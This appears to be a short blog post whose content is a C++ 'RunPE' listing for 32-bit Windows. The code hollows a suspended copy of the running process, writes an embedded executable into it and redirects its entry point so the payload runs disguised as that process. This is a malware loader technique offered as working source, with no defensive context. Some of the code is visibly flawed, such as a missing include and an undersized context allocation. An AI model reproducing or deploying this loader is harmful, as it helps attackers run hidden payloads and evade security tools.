RunPE 

  1 #include <iostream> // Standard C++ library for console I/O
  2 #include <string> // Standard C++ Library for string manip
  3 
  4 #include <Windows.h> // WinAPI Header
  5 #include <TlHelp32.h> //WinAPI Process API
  6 
  7 
  8 // use this if you want to read the executable from disk
  9 HANDLE MapFileToMemory(LPCSTR filename)
 10 {
 11     std::streampos size;
 12     std::fstream file(filename, std::ios::in | std::ios::binary | std::ios::ate);
 13     if (file.is_open())
 14     {
 15         size = file.tellg();
 16 
 17         char* Memblock = new char[size]();
 18 
 19         file.seekg(0, std::ios::beg);
 20         file.read(Memblock, size);
 21         file.close();
 22 
 23         return Memblock;
 24     }
 25     return 0;
 26 }
 27 
 28 int RunPortableExecutable(void* Image)
 29 {
 30     IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
 31     IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
 32     IMAGE_SECTION_HEADER* SectionHeader;
 33 
 34     PROCESS_INFORMATION PI;
 35     STARTUPINFOA SI;
 36 
 37     CONTEXT* CTX;
 38 
 39     DWORD* ImageBase; //Base address of the image
 40     void* pImageBase; // Pointer to the image base
 41 
 42     int count;
 43     char CurrentFilePath[1024];
 44 
 45     DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
 46     NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize
 47 
 48     GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable
 49 
 50     if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
 51     {
 52         ZeroMemory(&PI, sizeof(PI)); // Null the memory
 53         ZeroMemory(&SI, sizeof(SI)); // Null the memory
 54 
 55         if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,
 56             CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current
 57             //process in suspended state, for the new image.
 58         {
 59             // Allocate memory for the context.
 60             CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
 61             CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
 62 
 63             if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
 64             {
 65                 // Read instructions
 66                 ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
 67 
 68                 pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
 69                     NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
 70 
 71                 // Write the image to the process
 72                 WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
 73 
 74                 for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
 75                 {
 76                     SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
 77                     
 78                     WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
 79                         LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
 80                 }
 81                 WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8),
 82                     LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
 83                 
 84                 // Move address of entry point to the eax register
 85                 CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
 86                 SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
 87                 ResumeThread(PI.hThread); //´Start the process/call main()
 88 
 89                 return 0; // Operation was successful.
 90             }
 91         }
 92     }
 93 }
 94 
 95 // enter valid bytes of a program here.
 96 unsigned char rawData[37376] = {
 97     0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
 98     0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 99 };
100 
101 int main()
102 {
103     RunPortableExecutable(rawData); // run executable from the array
104     getchar();
105 }

 

posted @ 2017-12-12 14:32  m4sterx  阅读(521)  评论(0)  编辑  收藏  举报